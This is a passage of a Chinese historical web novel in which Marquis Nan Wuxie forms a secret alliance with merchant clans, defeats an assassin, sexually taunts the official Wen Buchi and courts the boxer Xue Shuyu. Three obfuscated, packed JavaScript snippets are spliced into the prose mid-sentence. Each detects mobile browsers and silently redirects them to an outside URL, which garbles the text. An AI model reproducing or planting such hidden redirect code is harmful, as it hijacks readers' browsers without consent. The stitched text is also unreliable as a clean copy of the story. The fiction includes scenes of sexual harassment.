嵇业看着儿子沉稳的侧脸,沉默了许久,终是叹了口气:“罢了,就按你说的办,只是记住,嵇家的脸面,不能丢。”
“儿子明白。”嵇舟起身,躬身行礼,“爹也早些歇息,江南的事,儿子会处理妥当。”
***
城南的茶馆里飘着龙井的清香,午后的阳光透过木窗,晒得人懒洋洋。
南无歇坐在临窗的位置,漫不经心地看着街景。
“南侯爷久等。”
嵇舟的声音带着笑意传来,南无歇回头看去,只见他身后跟着个穿银白锦袍的青年,面如冠玉,眉眼间带着商人特有的精明,却又藏着几分世家子弟的倨傲。
南无歇抬眼,笑了笑:“嵇公子倒是准时。”
“这位是贺家大公子,贺醒。”嵇舟侧身引荐,“醒之,这位便是南侯爷。”
贺醒拱手,目光直直,语气不卑不亢:“久仰侯爷大名。”
“贺公子客气。”南无歇示意他们坐下,“嵇公子约我来就为给我介绍个朋友?”
嵇舟笑了笑,亲手给两人斟上茶:“侯爷是爽快人,在下也不绕弯子了,今日请侯爷来,一是想化解前嫌,秋猎与盐道的事,都是误会;二是想跟侯爷谈笔生意。”
南无歇挑眉,端起茶盏抿了口:“哦?嵇公子和贺公子的生意,我怕是插不上手吧?”
“侯爷说笑了。”贺醒开口,语气带着明晃晃的自信,“京城里的经济命脉,明面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526720|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上看是贺、薛两家分庭抗礼,实则无非就是四样:盐、铁、粮、商铺。归根结底,口岸才是根基,我贺家掌着漕运,嵇家管着地方官员任免,这些年倒也顺顺当当,只是……”
他顿了顿,目光落在南无歇身上:“只是树大招风,陛下对世家的猜忌日深,温不迟的谛听台又像把刀子悬在头顶,我们过得并不安稳,侯爷手握兵权,是陛下也忌惮三分的人物,若能与侯爷联手,于我们是自保,于侯爷……”
贺醒没有说下去,南无歇也故意不接茬,他就那么噙着笑,靠在窗台上看着对面的两人。
“于侯爷自然也是有好处的,”嵇舟接过话头,“侯爷在边关打仗,粮草、军饷哪样离得开户部?万一有一日傅家倒了,户部势必要换新人,若嵇家能帮侯爷在户部安插几个可信的人,粮草调度岂不是更顺畅?”
他看着南无歇,眼底带着深意:“再者,贺家的商路遍布大靖南北,小到兵器甲胄的铁料,大到江南的丝绸茶叶,只要侯爷需要,贺家都能以最低的价钱送到边关将士的手里,这比从国库调拨,方便得多,也省心得多。”
南无歇笑了笑,没说话。
贺醒又道:“说白了,就是有钱一起赚,侯爷保我们在京安稳立足,我们保侯爷在京无后顾之忧,至于朝堂上的事,侯爷若想动谁,嵇家在吏部的人脉,或许能帮上忙,侯爷若想安稳,我们也绝不会给侯爷添麻烦。”
他摊开手,语气坦诚:“世家要的是权,是钱,是世代相传的富贵,从没想过要动摇国本,可咱们的陛下不这么想,温不迟也不这么想,他们容不下我们,自然也未必能容下侯爷,毕竟,手握重兵的异姓侯,从来都是帝王心头的刺。”
这话戳得直白,却也在理。
南无歇指腹在茶杯口上滑了半圈,脸上依旧笑的灿烂,“二位说的真好,真周全,只是你们为什么信我?就不怕我转头把这些话捅给谛听台,换个顺水人情?”
嵇舟放下茶盏,笑意温和却透着笃定:“侯爷若想讨陛下欢心,秋猎时便不会出手断箭,侯爷要的从不是帝王的恩宠,是不再因忌惮而受打压,这点,与我们想保世家安稳的心思,其实殊途同归。”
他顿了顿,添了句,语气里带了点恰到好处的恭维:“何况,以侯爷的手段,真要算计我们,也不必费这功夫,与其做敌人互相猜忌,不如做盟友各取所需,我们这点眼力见,还是有的。”
南无歇定定地看了他一阵儿,随后慢悠悠地喝了口茶,过了许久才开口:“联手可以,但我有条件。”
嵇舟与贺醒对视一眼,”侯爷请讲。”
“第一,江南盐道的洗钱生意,我要两成利。”南无歇的语气平淡,“不用过我手,换成边关需要的粮草、药材,悄悄送过去就行。”
“可以。”贺醒毫不犹豫地答应,两成利换个靠山,值。
“第二,嵇家在朝中和各地安插的人,绝不能是只会敛财的废物。”南无歇看着嵇舟,“我要的是能办事、懂分寸的聪明人。”
“侯爷放心。”嵇舟点头,“我会亲自筛选,绝不含糊。”
“第三,”南无歇放下茶盏,目光在两人脸上扫过,“漕运借我用用。”
第一条要钱,第二条要人,这些都好说,但这漕运可是张大网,整条漕运线不光裹着无数的人和银子,还牵连着码头、仓房以及边关港口,这可不是什么能轻易借的东西。
贺醒刚要开口推诿周旋,嵇舟就便开口应下了,“成交。”
他目光不躲不闪,答应的干脆。
南无歇见嵇舟答应的丝毫不拖泥带水,补充道:“还有,我与你们联手的事,不能让第四个人知道。”
“侯爷放心,此事天知地知,你我三人知。”
南无歇笑了笑,端起茶盏:“那就祝我们……合作愉快?”
嵇舟与贺醒同时举杯,三只茶盏轻轻碰在一起,发出清脆的声响,“合作愉快。”
窗外的阳光正好,茶香袅袅,南无歇看着对面两人眼底的算计与释然,唇角的笑意未减。
13. 难驯
从茶馆出来,日头已过了正午,南无歇慢悠悠地晃着,摇来摇去。
“侯爷。”
卫清禾的声音从侧边阴影里传来,人已悄无声息地跟了上来。
南无歇脚步没停,目光扫过街边挑着担子的小贩,声音压得极低:“去查查薛家。”
“薛家?”卫清禾愣了瞬。
“看看他们的商路铺到了哪,跟宫里有没有牵扯。”南无歇咬下来颗刚买的糖球,嘴里含糊不清,“听说薛家那位二公子性子野得很。”
“是,属下明白了。”卫清禾又隐入阴影,像从未出现过。
南无歇独自转进一条僻静的小巷,巷子两侧是斑驳的木板墙,墙头上探出几枝枯黄的藤条,风一吹,发出沙沙的响。
他刚至巷口,便见一人伫立前方。
灰衣沉肃,目如鹰隼,身形笔挺如松,那人脸上没什么表情,透着股生人勿近的冷意,冰冷的目光直直射过来,带着毫不掩饰的杀意。
南无歇眉梢微挑,停步驻足。
此人他虽不识,但那扑面而来的索命之气他却再熟悉不过。
“阁下拦路,是为问路,还是讨钱?”南无歇轻笑一声,晃了晃手中糖球,“问路我不熟,讨钱嘛……你要多少?”
灰衣人没说话,只缓缓抬起手,掌心一柄短刃寒光乍现。
“啊~是来要命的啊?”南无歇语气里没半分紧张,反倒带着点看戏的兴致,“谁派你来的?李昇?”
灰衣人没应声,脚下一动,身形已如离弦之箭般扑了过来!
身如游龙,矫若流云,短刃带着破空的锐响,直取南无歇的咽喉!
南无歇侧身避开,短刃擦着他的颈侧掠过,削断了几缕发丝。
“身手不赖啊。”他“惊”叹一声,出手如电,直扣对方腕脉。
灰衣人应变极捷,腕势陡转,短刃易刺为划,逼得南无歇退后半步。
两人瞬间缠斗在一起,南无歇渐觉对方招招皆蕴赴死之决,那股“目之所及唯标靶,心之所向尽杀伐”的笃定,唯有死士方能具备。起初他尚存几分闲适,直至对方一记扫堂腿携风袭至,势大力沉,他方眸光一凝,握紧了拳头。
“有点意思。”南无歇低声轻笑,终现认真之色。
他不再退避,倏然欺身近前,左手格开来刃,右拳携劲直取对方心口。
灰衣人侧身避过,同时提膝猛撞向南无歇腰腹!
南无歇不闪不避,同样抬膝硬撼!
“砰”的一声闷响,两人各退数步,南无歇但觉膝骨发麻,灰衣人亦闷哼一声,面色骤白。
没等灰衣人站稳,南无歇已再次欺上,脚下横扫,逼得那人不得不跃起躲避。
就在此时,他忽然借力腾空,右腿抽出横踢,带着雷霆之势,直取对方的侧耳!
灰衣人反应也快,猛地后仰,这一脚擦着他的鼻尖掠过,重重砸在身旁的木板墙上。
“咔嚓——!”
半面墙应声破开大洞,木屑纷飞如雨。
灰衣人趁机反扑,短刃直刺南无歇的后心,南无歇反手一擒,精准扣住其腕脉猛然发力。
骨裂声清晰可闻,伴随一声压抑的痛哼,短刃应声落地。
南无歇就势将他重重按在墙上,膝头顶其后腰,声里仍含笑意:“现在能说说是谁派你来的了?”
灰衣人紧咬着牙,额头青筋暴起,却半个字也不肯说。
南无歇挑了挑眉,刚想再逼问,却见灰衣人忽然猛地仰头,竟欲自撞墙面求死!
“这么不惜命?”南无歇眼疾手快,一把扣住他的后颈,“还是别了吧。”
他目光扫过灰衣人腰间的玉佩,那玉佩雕着朵兰草,与温不迟袖口的暗纹一模一样。
“啧,温不迟倒是舍得,遣你这等好手来。”
说完,他轻笑一声,抬手一记利落手刀。
灰衣人软倒在地,再无意识。
南无歇拍了拍手,看了眼地上的人,又看了看碎成一片的墙,为难似的“啧”了一声。
***
温不迟府邸的院门是被南无歇一脚踹开的。
他扛着晕过去的戎珂,像扛着袋寻常货物,目不斜视大步流星地穿过庭院,两条大长腿迈起来带起一阵风,管家吓得脸色发白,但根本不敢拦。
温不迟正在书房翻阅账册,听到动静时,抬眼就见南无歇站在门口,肩上还负着一人。
“温大人,”南无歇唇角一勾,随手将戎珂如卸货般仍在地上,“你的人我给你送回来了。”
温不迟合上册子,神色平静得像一潭深水,沉默片刻,他才缓声开口:“有劳侯爷了。”
“不妨事,”南无歇踱至案前,俯身逼近,垂眸看他,“毕竟是冲我来的,总不能让他死在外头,污了温大人的清名。”
他目光掠过温不迟袖口精致的云雀绣纹,轻笑一声,“不过说真的,温大人派来的这位身手着实不错,差点把那巷子里的墙给拆了。”
温不迟未接此话,只淡声道:“下人不懂规矩,冲撞了侯爷,还请侯爷恕罪。”
“不恕,”南无歇低笑一声,伸手挑起他的下巴,迫他抬头,“温大人开口我就必须要恕吗?啧,这事儿怎么看都是我吃亏。”
温不迟未挣扎,只冷眼相视,“侯爷待要如何?”
“我想如何,温大人不知?”
南无歇的拇指揉过温不迟的唇,肌肤接触间带着狎昵,目光沉邃似要将那人看穿。
随后,他的语气里带了点漫不经心的调侃,“说起来,你与李昇,倒不似传闻中那般亲近。”
温不迟的目光一冷,浑身的刺瞬间竖起:“侯爷这话是何意?”
“字面意思,”南无歇指节滑下,钳住他下颌,“若温大人真是他榻上之人,那夜不会是那般生涩反应。”
他凑得更近,“那晚你疼成那样,哭喘得那么凶,显是未曾经历过的。”
温不迟拳心蓦地攥紧,羞愤与怒意交织翻涌,那夜的狼狈与屈辱顷刻重现,他猛地偏头欲躲,却被南无歇更用力地扳回。
“怎么?被我说中了?”南无歇的眼底闪过一丝兴味,“温大人装了这么久‘龙阳客’,早就忘了自己原本是什么样子了吧?”
南无歇是个不知收敛的,他那夜察觉温不迟与李昇并非床笫关系,按照道理来说,在得知这人并非龙榻上的人时他南无歇应是感到徒劳无功的,可事实却并没有。
自那时起,他与温不迟之间便跟李昇再无关系了,但他好似并未察觉这层变化,也并未追其根源,他只沉浸在激怒眼前这人并欣赏对方炸毛神情的心理满足中无法自拔。
温不迟看他的眼神里发了冷,带着极致的怒意,却没吭声。
南无歇笑得更欢了,“原来温大人不仅嘴硬,脸皮还这么薄。”
这话带着毫不掩饰的狎昵,像根针,扎得温不迟的脸色微微发白。
他蓦地侧首避开那侵扰的触碰,“侯爷若只为折辱下官,便请回吧。”
“折辱?”南无歇直起身,笑了笑,“这怎么能叫折辱呢?我今日只是想来告诉温大人——”
他的目光扫过地上昏厥的戎珂,“下次若再想取我性命,不妨温大人亲自前来,或许,我还能让你几分。”
温不迟默默攥紧了案上的账册,纸页被攥出褶皱:“侯爷的意思,是要与下官不死不休了?”
“死不死的,太没意思。”南无歇摆了摆手,“我倒是觉得现在这样挺好,你派人行刺,我送他回来,顺便……看看你。”
他倏然勾唇,笑意染上几分邪气,“不过我还是更喜欢温大人那夜的——”
“侯爷,”温不迟冷声打断,“你我二人,何必至此?”
“如此是哪般?”南无歇一步步逼近,直到两人只隔半步,“是像现在这样站在你面前?还是……像那日在榻上那样?”
温不迟看着南无歇的脸越来越近,只冷眼而视,没躲,也没回答。
“你杀不了我,也拦不住我。”南无歇抬手轻轻滑过他的颈侧,停在那处尚未消退的红痕上,“温大人,你说,这是不是命?”
脖子上轻痒的触碰令温不迟瞬间炸毛,他猛地抬手去推南无歇,却被那人顺势抓住手腕,“砰!”的一声,反压在书案上。
温不迟满腔怒火地仰视着,愤懑的目光直逼对方的眼睛,而南无歇却依旧持着笑容,俯身贴近,轻语如叹,“温大人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526721|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……”
他微微一顿,继而深深嗅过温不迟颈间的气息。
随后,他松开手,直起身,理了理褶皱的衣衫,“人还给你了,我走了。”
言毕,他转身就走,行至门边忽又驻足,回眸望向仍僵立原处的温不迟,唇角勾起一抹深长笑意,“对了,下回我会换个宽敞的地界,我那单人榻实在有些挤了。”
门扉轻合,满室寂然,唯余昏迷的戎珂侧卧在地上。
温不迟缓缓闭上眼,胸口剧烈起伏着,他能感觉到颈侧还残留着对方的温度,像烙铁似的,烫得他心头又恼又慌。
***
南侯府的灯亮到深夜,南无歇坐在书案前看着残棋,烛光在他侧脸投下深浅不一的影。
“侯爷。”卫清禾的声音从门外传来。
“嗯。”南无歇没抬头,目光依旧落在棋盘上。
卫清禾推门而入,将一纸密报递了上去:“薛家查清了。”
南无歇这才停了手,接过密报慢悠悠地看着。
烛光透过薄薄的纸页,将上面的字迹映得清晰:
薛涉川,长子,主掌薛家明面上的产业:绸缎庄、粮铺、漕运商号,皆是见得光的营生,账目做得滴水不漏,在户部的备案比官衙的卷宗还齐整。
薛淑玉,次子,专管“暗处”的勾当:走私、火药、子钱,甚至是销赃、杀人越货、黑吃黑,性子桀骜,京里几个棘手的钱庄老板“意外”身故,背后都有他的影子。*
“倒是分工明确,”南无歇低笑一声,目光在“薛淑玉”三个字上顿了顿,“这薛老二,倒比他哥有意思。”
卫清禾垂眸道:“据说是薛老爷子当年特意分的工,薛涉川稳重,守得住家业,薛淑玉野,敢闯敢拼,正好替薛家扫清路障,有意思的是这兄弟俩倒没嫌隙,薛淑玉替哥哥干脏活,干得心甘情愿。”
“是吗?”南无歇挑眉,将密报丢回案上,“薛涉川明面上是掌舵的,可薛淑玉手里握着的‘脏活’才是薛家真正的根基,他若想当家,薛涉川未必压得住。”
“那他为何……”
“不知道,或许是觉得跟着哥哥比自己单干省心?”南无歇起身走到窗边,望着院外沉沉的夜色,“也或许,他想要的从来不是薛家的财权,是别的。”
卫清禾没接话,因为他更不知道。
“薛淑玉的性子比平常商人野多了,”南无歇继续道,语气里带了点兴味,“贺醒的精明是挂在脸上的,像算盘,噼啪一响就知道要算什么。可这薛淑玉野得藏不住,这种人,要么是真疯,要么是真聪明。”
他转过身,“查过他常去的地方吗?”
“查了。”卫清禾答,“城西的拳场,北郊的马场,还有……贺家的赌坊。”
“去贺家的赌坊?”南无歇笑了,“跟贺家抢生意,还敢去人家地盘上晃悠,是挺疯的。”
他走到案前,拿起笔,在纸上写了“薛”字,又在旁边画了个圈:“贺家跟嵇家绑得紧,嵇舟那人心思太深,跟他们合作得时时刻刻防着被算计,薛家不一样,他们只认钱,不认人,反倒干净些。”
“那……侯爷您要接触他吗?”
“急什么。”南无歇放下笔,“先让小七去拳场晃晃,跟薛淑玉‘偶遇’几次,这种野性子,硬来没用,得顺着毛摸。”
他顿了顿,添了句:“顺便叮嘱一下,别想着试探,就当去看热闹,薛淑玉这种人最烦别人跟他玩心眼。”
“是。”卫清禾应下,又道,“侯爷,薛家在北境的商路,据说比官方驿站还灵通,若是能合作,北境的粮草调度——”
“不止粮草。”南无歇打断他,目光深邃,“钱这东西,从来都不止是钱,贺家能帮嵇家洗钱,薛家手里的‘脏活’,未必不能变成咱们的助力,京城里的路,光靠刀枪是走不通的,得有钱铺路,有人搭桥。”
卫清禾此刻才反应过来,南无歇查薛家从来不止是为了钱,他是想在贺家之外,再找一枚能撬动京城经济格局的棋子,而薛淑玉那股桀骜难驯的野劲,或许正是自家侯爷看中的地方。
“薛淑玉……”南无歇望着窗外的月,唇角勾起抹淡笑,“我倒是想看看,你这头野豹子,到底多难驯。”
14. 荒阔
戎珂醒来时已是次日午时,他甩甩脑袋,还有些发懵。
艰难做起身来,侧目一看,只见温不迟端坐在屋中央的圆桌前思忖着什么,静默不语,不知是坐了多久。
见戎珂醒来,他才晃过神,侧首看向榻上之人,可只给了一个看不出情绪的眼神,依旧未言。
“主人。”戎珂立刻下榻,两三步走到温不迟面前,双手抱拳单膝而跪,郑重道:“此次事败是戎珂无能,戎珂愿以死——”
“起来。”温不迟打断他,伸手去扶。
戎珂抬眸看向主人,带着一丝愧疚的迟疑,缓缓起身,垂首而立。
温不迟继续道:“这件事不怪你无能,或是我为难于你。”
他示意对方坐下,“南无歇不是那么容易杀的,害得你险些丢了性命,怪我那晚冲动,被情绪左右了心智。”
“主人!”戎珂没有坐,反而又跪了下去,“主人切勿这么说!蒙主恩养,身非己有,提携玉龙为君死,戎珂唯记初誓!只愿为主而生,独求代主而终!”
话音落地,房内一片寂静,只闻戎珂微重的呼吸声。
须臾,温不迟微微阂眸,虚扶了一下戎珂的手腕,没有用力抬起,也没有讲话。
戎珂缓缓抬头,与自家主子四目相对,目光相接,皆无言。
***
十一月的第一场雪把京城染成了白茫茫一片,城西的拳场却暖得像口蒸笼,汗味混着雪水的潮气,在棚顶下翻涌。
南无歇裹着件捆璧无华的斗篷混在围观的人群里,目光落在拳台中央那个赤着上身的少年身上。
台上的薛淑玉刚把对手撂翻在地,汗水顺着脸颊往下淌,他的拳法带着股不管不顾的疯劲,倒下的壮汉哼都没哼一声,直接被打懵了。
“还有谁敢来?”薛淑玉抹了把脸,唇角勾着桀骜的笑,眼底燃着好斗的火。
围观的人窃窃私语,没人敢应声。
这半个月来,小七按南无歇的吩咐在拳场“偶遇”了他四五次,次次都故意输得狼狈,把这头野豹子的好胜心勾得正旺。
南无歇扯了扯斗篷的帽檐,慢悠悠地走上拳台。
“我来试试。”
他的声音不高,却瞬间让嘈杂的拳场静了静。
薛淑玉抬眼看来,见他裹得严实,只露出双漫不经心的眼睛,嗤笑一声:“脸都不敢漏,也想学人打拳?”
南无歇没答这话,只是活动了下手腕,骨节发出轻微的脆响。
“开始吧。”
薛淑玉挑眉,没再废话,猛地欺近身!
拳头带着劲风直取南无歇面门,这拳又快又沉,寻常人挨上至少得躺半个月。
南无歇却只是偏头,手掌在他拳侧轻轻一搭,借着那股冲劲顺势一引。
薛淑玉的拳头擦着他的耳根掠过,重心顿时有些不稳。
“有点东西,”薛淑玉低笑一声,瞬间反手横肘,要命似的顶向他的胸口。
南无歇条件反射一样抬脚横扫,一时间,拳风腿影在狭小的拳台上交错,看得台下人屏住了呼吸。
南无歇的招式不花哨但招招精准,总能在毫厘之间避开薛淑玉的猛攻,偶尔还以颜色,力道不大,却总能打在最让对方难受的地方。
薛淑玉越打越纳闷,这人的动作身法看似随意,却透着股让他捉摸不透的老练,像是在死斗场上滚过千百回,每一寸肌肉都记着最省力的杀人技巧。
他心里暗忖:京城何时不声不响的出了这么一位人物了?这也没见过啊。
可以!有趣!!
随后,他猛攻一拳,逼开距离,咧嘴笑问:“你是谁?”
南无歇没答,反而主动欺上。
这次他没再留手,刚烈的拳风陡然凌厉起来,薛淑玉眼底的好斗之火却烧得更旺,竟也不管章法,凭着一股蛮力硬接了几招。
就在他挥拳直取南无歇小腹,整个人重心前倾的瞬间,南无歇顺着他的攻势和力道侧身避开拳头,同时一记快拳,精准地落在薛淑玉的肋下。
“唔!”
薛淑玉闷哼一声,像被山崩地裂的巨石砸中,踉跄着后退几步,一屁股坐在地上。
肋下的钝痛顺着骨头缝往骨髓里钻,他却没恼,反而抬起头,用手背擦了擦唇角的血,眼睛里着着兴奋的火。
“好拳!”他用力拍了一下地面,站了起来,活动了下肩膀,“再来!”
南无歇看着他眼里毫不掩饰的好斗,眼底闪过一丝兴味,这薛淑玉果然是疯子!挨了打反倒更精神了。
“还来?”他活动了一下脖子,语气漫不经心,“不怕被我打死了?”
“狗命一条,死就死了。”薛淑玉摆开架势,浑身的刺都竖了起来,像头准备扑食的豹子,“倒是你,别藏着掖着了!拿出真本事来!”
南无歇笑了,这次他选择只陪着对方拆招,偶尔用巧劲让他摔个结实,再在他爬起来时递上一个挑衅的眼神。
薛淑玉果真吃这套,越打越疯,越疯越兴奋,浑身上下的痛都忘了,眼里只剩下拳台对面那个身影。
他从未遇过这样的对手,既能接得住他的疯劲,又能在他最得意时,轻飘飘地泼一盆冷水,但他却气不起来,只觉得浑身的血都在烧。
不知打了多久,直到薛淑玉第十五六七八次被撂翻在地,再也爬不起来时南无歇才收了手。
他俯身,递过去一块干净的帕子。
薛淑玉喘着粗气仰头看他,汗水混着血水糊了满脸,却笑得像个孩子:“你到底是谁?”
南无歇没直接答,只挑了挑眉,微微一抬下巴,“改日我请你喝酒。”
说完,他整理了一下今日功劳最大的斗篷,转身走下拳台,混进人群里,很快就消失在观众席中。
薛淑玉坐在地上,攥着那块带着淡淡檀香的帕子,望着他消失的方向,舔了舔唇角的血,眼底的光比京城的雪还要亮。
***
薛涉川正在自家书房对着账册核数,听见院外传来踉跄的脚步声,不用抬头也知道是谁。
“哥!哥!”薛淑玉掀帘进来,带着一身寒气和淡淡的血腥味,脸上青一块紫一块,唇角还破了皮,整个人乱七八糟的,却笑得灿烂。
薛涉川放下算盘,眉头微蹙:“又去拳场了?”
“嗯!”薛淑玉往椅子上一坐,活动着酸痛的肩膀,“今儿遇着个狠角色,太能打了!”
薛涉川没接话,只扬声吩咐下人:“备热水,拿药箱。”
“哥,不用——”
“坐着。”薛涉川将他按回了椅子上,等下人退出去,才拿起帕子浸了浸水,替他擦着脸上的灰,“跟我炫耀炫耀吧,何方神圣把你打成这副样子的?”
“他没说名字,穿件斗篷只露着双眼,根本看不出来是谁,”薛淑玉满不在乎地摆摆手,眼里还闪着兴奋的光,“这人看着挺懒的,出手却快得不行,招式不花哨,全是杀招,但他又总留着余地,像是……像是逗着我玩。”
他忽然一拍大腿:“对了!他身上有股檀香,不是咱们京里常见的那种,带着点冷味,像北境的雪。”
“北境?”薛涉川的手顿了顿:“南家侯爷回京的事,你知道吧?”
“知道啊。”薛淑玉挑眉,“前阵子闹得沸沸扬扬,又是御前赐婚又是猎场刺杀的,想不知道都难,怎么了?”
“你觉得,打你的人,会不会是他?”
薛淑玉一愣,随即笑了:“不能吧?他南侯爷‘日理万!机’,哪有空去拳场打架?”*
“未必。”薛涉川拿起刚送来的药,蘸了点药膏往他唇角的伤口上抹,“京城里能把你打成这样的屈指可数,而且……南无歇最近似乎在查京里的商线。”
薛淑玉的神情顿住了:“查商线?他想做什么?”
“这就不清楚了,”薛涉川给弟弟擦药的动作很轻,“陛下登基这几年,朝堂早就不是老样子了,老臣们被谛听台盯着,世家们忙着自保,百官们只敢说三分话,谁都想找条稳妥的路走。”
他垂眼看着弟弟,“南无歇手握兵权,却在京里没什么根基,贺家跟嵇家绑在一处,他若想站稳脚跟,总得找个能替他‘管钱’的人。”
薛淑玉摸着下巴,若有所思:“哥的意思是,他是故意去拳场找我的?”
“不无可能啊,就像你说的,若无理由他怕是没那么多闲心去拳场打拳的,”
薛涉川放下药膏,“他这是在试探你的斤两和脾性,也是在告诉我,他有让你感兴趣的‘本事’。”
薛淑玉忽然笑了,眼里的桀骜又冒了出来:“这人有点意思,他若真是南无歇,那这合作我倒想试试。”
“别急。”薛涉川按住他的肩膀,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526722|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陛下现在正是要归拢权柄的时候,他需要的是忠臣,能力反在其次,南无歇身份太特殊,手握兵权的能臣只会是陛下的眼中钉,谛听台的眼线到处都是,咱们跟他南无歇走得太近,未必是好事。”
他顿了顿,补充道:“但也不能疏远,此人是把双刃剑,用好了能劈开贺家的路,用不好就会引火烧身。”
薛淑玉没说话,窗外的雪下得更大了,他回想起拳台上那个身影,想起那记又快又准的拳头,想起对方转身时那句“改日我请你喝酒”。
不管是不是南无歇,这人他都没打算放过。
“哥,”薛淑玉仰着脸看着哥哥,眼睛里闪着光,“他约我过几天喝酒,我想去。”
薛涉川看着弟弟眼里的兴奋,揉了揉他的头顶,没有回答可以与否,只淡淡道:“乖。”
***
南侯府的暖阁里烧着银炭,暖意融融,南无歇刚换下沾了雪的劲装,换上件日常衣裳,正捧着杯热茶,吹着热气。
卫清禾在旁边收拾着他脱下的斗篷,抖落上面的雪粒,动作却有些心不在焉,眼角的余光总往他身上瞟。
“有话就说。”南无歇没抬头,声音里带着点笑意,“你这眼神,跟我偷吃楠楠的蜜饯被抓包后一模一样。”
卫清禾手一顿,把斗篷挂好,嗫嚅道:“侯爷……”
“嗯?”
“就是…就是那晚……”卫清禾的声音越来越小,“府里的下人可都听见了……”
“那晚?哪晚?”南无歇抬眼,挑了挑眉,“听见什么了?”
“就……就十五那晚…温大人他……”卫清禾脸有点红,“叫得声音挺大的……”
南无歇低笑一声,没接话,只啜了口茶。
卫清禾看他这副样子,索性咬了咬牙,豁出去了:“侯爷,您跟温大人……”
他没说下去,但那眼神里的探究再明显不过。
南无歇放下茶杯,靠在椅背上,看着他:“你想问什么?”
“属下就是觉得……”卫清禾挠了挠头,“您这些年,身边也没留过女子……这…您跟温大人这……”
他深吸一口气,像是下定了极大的决心:“侯爷,您该不会……是分桃吧?”
这话一出,暖阁里静了静。
南无歇却笑了,笑得没半分遮掩:“怎么?不像?”
卫清禾闻言像是被雷劈了个瓷实,瞪大了眼愣在原地,半天没说出话来。
这种问题,能从自家侯爷嘴里听到答案,竟还是肯定的答案!简直把他惊得脑子发懵。
“你怕什么?”南无歇看着他这副样子,觉得有趣,“难不成怕我对你有意思?”
卫清禾一个激灵,下意识往后退了半步,头摇得像拨浪鼓:“不…不不!不是……”
“放心。”南无歇端起茶杯,“你的性子,太闷,太沉,太无趣,不是我喜欢的类型。”
卫清禾这才松了口气,却又忍不住好奇:“那……温大人他……”
“他不一样。”南无歇回忆起那人的每一个神情,不禁勾了勾嘴角,“又野又硬,嘴还犟,跟只炸毛的猫似的,逗起来有意思。”
他顿了顿,补充道:“何况,一开始我还以为他是李昇的人,小皇帝榻上的,还是个带刺的,我总得尝尝滋味不是?”
这话直白得近乎狎昵,卫清禾的脸又红了,张了张嘴,却不知道该接什么。
“行了,别这副表情。”南无歇挥了挥手,“这事没什么大不了的,府里的人知道了也无妨,谁敢嚼舌根,你知道该怎么做。”
“嗯嗯嗯…!”卫清禾赶紧应下,心里依旧乱糟糟的。
这么多年了,他今日才知道自家侯爷竟是个断袖?!这太奇妙了。
不过按照道理来说,在军营里南无歇周遭可都是男人,若是真好这口,那大概率会有几个……
一想到这里,卫清禾简直是不忍直视,大家都是同吃同住、一同浴血奋战上场厮杀的兄弟啊!这…这怎么能…!
但随之而来的便是泼天的好奇,毕竟大家都这么熟了,若兄弟当中真的有人跟自家侯爷那什么…
那可太有的品了!
挣扎再三,他终究是没忍住。
“谁…谁啊…?”
南无歇却被他没头没脑的一句问懵了,瞥了他一眼,“什么谁啊?”
15. 高轩
这日,薛涉川正在院子里鼓捣一罐海马泡的酒,只听到庭外传来急促的大步子声。
“哥!哥!你看!”薛淑玉声音比人先到,跨进来时扬了扬手里的纸条,纸质粗糙,上面只有一行字:今夜贺家赌场,陪我喝两杯。
薛涉川接过来看了眼,“没留名?”
“没有。”薛淑玉眼底闪着兴奋的光,“但我敢肯定是那天拳场那个人。”
“哦?”薛涉川挑眉,“何以见得?”
“除了他谁还有这闲心?”薛淑玉把纸条拿回来揣进怀里,“贺家的赌场,正好让我去会会他。”
薛涉川这次没拦着,只竖起食指在弟弟唇前,道:“早些回来。”
“好~”
贺家的“聚福楼”从外面看只是间寻常酒楼,掀开厚重的棉帘,才见内里别有洞天。
大堂里挂着数十盏大灯笼,暖黄的光泼洒下来,映得二十几张赌桌泛着光,骰子落碗的脆响、骨牌甩在桌上的脆响、赢家的吆喝与输家的咒骂缠在一处,混着浓重的酒气与脂粉香,在暖烘烘的空气里发酵,成了京城最纸醉金迷的底色。
南无歇到的时候,薛淑玉已经占了个靠窗的位置,面前摆着两坛烧刀子,见他进来,薛淑玉眼睛一亮,挥了挥手:“这儿!”
南无歇走过去,解了斗篷,露出里面的墨色锦袍,“南无歇。”
薛淑玉笑了:“果然是你。”
“猜到了?”南无歇坐下,给自己倒了杯酒,动作慢悠悠的,带着点慵懒。
“我又不傻,”薛淑玉灌了口酒,喉结滚动,“就是没想到传闻中犹如鬼神的南侯爷这么闲,还会特意陪我打拳。”
